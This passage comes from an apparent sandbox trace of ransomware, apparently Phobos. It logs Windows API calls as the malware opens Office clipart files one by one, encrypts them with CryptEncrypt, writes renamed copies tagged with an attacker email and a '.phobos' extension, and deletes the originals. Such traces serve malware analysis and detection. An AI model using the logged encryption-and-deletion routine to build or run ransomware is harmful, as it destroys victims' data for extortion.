hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x620, dwBufLen=0x620 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x620) returned 1 [0134.473] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x620, lpOverlapped=0x0) returned 1 [0134.474] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0134.474] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.474] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.474] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.474] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.474] CryptDestroyKey (hKey=0x753158) returned 1 [0134.474] CloseHandle (hObject=0x308) returned 1 [0134.474] CloseHandle (hObject=0x2e4) returned 1 [0134.474] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0134.475] SetEvent (hEvent=0x2b8) returned 1 [0134.475] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.475] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4660) returned 1 [0134.475] CloseHandle (hObject=0x2e4) returned 1 [0134.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0134.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.476] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.476] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.476] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0134.476] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.476] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1234, lpOverlapped=0x0) returned 1 [0134.480] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1240, dwBufLen=0x1240 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1240) returned 1 [0134.480] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1240, lpOverlapped=0x0) returned 1 [0134.481] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0134.481] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.481] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.481] CryptDestroyKey (hKey=0x753158) returned 1 [0134.481] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.481] CryptDestroyKey (hKey=0x7530d8) returned 1 [0134.481] CloseHandle (hObject=0x2e4) returned 1 [0134.481] CloseHandle (hObject=0x308) returned 1 [0134.482] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0134.482] SetEvent (hEvent=0x2b8) returned 1 [0134.482] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.483] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3988) returned 1 [0134.483] CloseHandle (hObject=0x308) returned 1 [0134.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0134.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.483] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.483] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.483] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e98) returned 1 [0134.483] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.483] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xf94, lpOverlapped=0x0) returned 1 [0134.489] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xfa0) returned 1 [0134.489] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xfa0, lpOverlapped=0x0) returned 1 [0134.490] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0134.490] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.490] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.490] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.490] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.490] CryptDestroyKey (hKey=0x752e98) returned 1 [0134.490] CloseHandle (hObject=0x308) returned 1 [0134.490] CloseHandle (hObject=0x2e4) returned 1 [0134.491] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0134.491] SetEvent (hEvent=0x2b8) returned 1 [0134.491] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.492] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=5392) returned 1 [0134.492] CloseHandle (hObject=0x2e4) returned 1 [0134.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0134.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.492] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.492] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.492] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0134.492] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.492] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1510, lpOverlapped=0x0) returned 1 [0134.494] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1520, dwBufLen=0x1520 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1520) returned 1 [0134.494] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1520, lpOverlapped=0x0) returned 1 [0134.496] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0134.496] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.496] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.496] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.496] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.496] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.496] CloseHandle (hObject=0x2e4) returned 1 [0134.496] CloseHandle (hObject=0x308) returned 1 [0134.496] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0134.497] SetEvent (hEvent=0x2b8) returned 1 [0134.497] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.497] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1648) returned 1 [0134.497] CloseHandle (hObject=0x308) returned 1 [0134.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220 [0134.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.498] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.498] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.498] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.498] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0134.498] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.498] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x670, lpOverlapped=0x0) returned 1 [0134.504] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x680, dwBufLen=0x680 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x680) returned 1 [0134.504] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x680, lpOverlapped=0x0) returned 1 [0134.505] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0134.505] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.505] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.505] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.505] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.505] CryptDestroyKey (hKey=0x753098) returned 1 [0134.505] CloseHandle (hObject=0x308) returned 1 [0134.505] CloseHandle (hObject=0x2e4) returned 1 [0134.505] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1 [0134.506] SetEvent (hEvent=0x2b8) returned 1 [0134.506] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.506] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2070) returned 1 [0134.506] CloseHandle (hObject=0x2e4) returned 1 [0134.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0134.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.507] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.507] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.507] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0134.507] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.507] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x816, lpOverlapped=0x0) returned 1 [0134.783] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x820, dwBufLen=0x820 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x820) returned 1 [0134.783] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x820, lpOverlapped=0x0) returned 1 [0134.783] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0134.783] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.784] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.784] CryptDestroyKey (hKey=0x753158) returned 1 [0134.784] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.784] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.784] CloseHandle (hObject=0x2e4) returned 1 [0134.784] CloseHandle (hObject=0x308) returned 1 [0134.784] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0134.785] SetEvent (hEvent=0x2b8) returned 1 [0134.785] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.785] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3286) returned 1 [0134.785] CloseHandle (hObject=0x308) returned 1 [0134.785] GetFileAttributesW 